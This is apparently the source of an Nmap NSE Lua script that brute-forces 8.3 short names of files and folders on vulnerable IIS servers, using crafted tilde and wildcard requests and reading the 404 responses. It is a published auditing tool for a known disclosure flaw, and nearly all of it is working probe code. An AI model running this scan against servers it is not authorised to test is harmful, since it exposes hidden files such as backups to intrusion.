1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
|
description = [[
Attempts to brute force the 8.3 filenames (commonly known as short names) of files and directories in the root folder
of vulnerable IIS servers. This script is an implementation of the PoC "iis shortname scanner".
The script uses ~,? and * to bruteforce the short name of files present in the IIS document root.
Short names have a restriction of 6 character file name followed by a three character extension.
Notes:
* The script might have to be run twice (according to the original author).
* Tested against IIS 6.0 and 5.1.
References:
* Research paper: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
* IIS Shortname Scanner PoC: https://github.com/irsdl/IIS-ShortName-Scanner
]]
---
-- @usage
-- nmap -p80 --script http-iis-short-name-brute <target>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-iis-short-name-brute:
-- | VULNERABLE:
-- | Microsoft IIS tilde character "~" short name disclosure and denial of service
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the webroot folder.
-- | Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
-- | cause a denial of service condition.
-- |
-- | Extra information:
-- |
-- | 8.3 filenames found:
-- | Folders
-- | admini~1
-- | Files
-- | backup~1.zip
-- | certsb~2.zip
-- | siteba~1.zip
-- |
-- | References:
-- | http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
-- |_ https://github.com/irsdl/IIS-ShortName-Scanner
---
author = {"Jesper Kueckelhahn", "Paulino Calderon"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
local stdnse = require "stdnse"
local shortport = require "shortport"
local table = require "table"
local http = require "http"
local vulns = require "vulns"
portrule = shortport.http
local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
local magic = "/*.aspx?aspxerrorpath=/"
local folders = {}
folders["name"] = "Folders"
local files = {}
files["name"] = "Files"
local last_number = 0
local errors_max = false
local errors = 0
local function isFolder(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "~" .. number .. magic)
return data.status == 404
end
local function isLonger(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "%3f*~" .. number .. "*" .. magic)
return data.status == 404
end
local function foundName(host, port, path, number)
local data = http.get(host, port, "/" .. path .. "~" .. number .. "*" .. magic)
return data.status == 404
end
local function charInExtension(host, port, path, ext)
local data = http.get(host, port, "/" .. path .. ext .. "*" .. magic )
return data.status == 404
end
local function findExtension(host, port, path, ext)
if charInExtension(host, port, path, ext) then
-- currently only support for ext of length 3
if ext:len() == 3 then
stdnse.debug1("Added file: %s", path .. ext)
table.insert(files, path .. ext)
else
for c in chars:gmatch(".") do
findExtension(host, port, path, ext .. c)
end
end
end
end
local function findName(host, port, path, number)
-- check if the name is valid
if foundName(host, port, path, number) then
if isFolder(host, port, path, number) then
--If the last 10 pages return 404, exit to deal to false positive case.
if tonumber(number) == (last_number + 1) then
errors = errors+1
end
if errors>10 then
stdnse.debug1("False positive detected. Exiting.")
errors_max=true
else
stdnse.debug1("Added folder: %s", path .. "~" .. number)
table.insert(folders, path .. "~" .. number)
-- increase the number ('~1' to '~2')
last_number = number
local nextNumber = tostring(tonumber(number) + 1)
findName(host, port, path, nextNumber)
end
-- if the name is valid, and it's not a folder, it must be a file
else
findExtension(host, port, path .. "~" .. number .. ".", "")
-- increase the number ('~1' to '~2')
local nextNumber = tostring(tonumber(number) + 1)
findName(host, port, path, nextNumber)
end
end
-- is the path valid (i.e. 404)
local cont = isLonger(host, port, path, number)
-- recurse if the path is valid and the length of path is not 6
if not (path:len() == 6) and cont and not(errors_max) then
stdnse.debug1("Testing: %s", path .. "~" .. number)
for c in chars:gmatch(".") do findName(host, port, path .. c, number) end
end
end
action = function(host, port)
local vuln = {
title = 'Microsoft IIS tilde character "~" short name disclosure and denial of service',
state = vulns.STATE.NOT_VULN,
description = [[
Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the root folder.
Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
cause a denial of service condition.
]],
references = {
'http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf',
'https://github.com/irsdl/IIS-ShortName-Scanner',
'https://www.securityfocus.com/archive/1/523424'
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
findName(host, port, "", "1")
--Cleans the false positive results.
if errors_max then
files = {}
folders = {}
end
--Vulnerable!
if #files>0 or #folders>0 then
local results = {}
table.insert(results, folders)
table.insert(results, files)
vuln.state = vulns.STATE.EXPLOIT
results.name = "8.3 filenames found:"
vuln.extra_info = stdnse.format_output(true, results)
end
return vuln_report:make_output(vuln)
end
|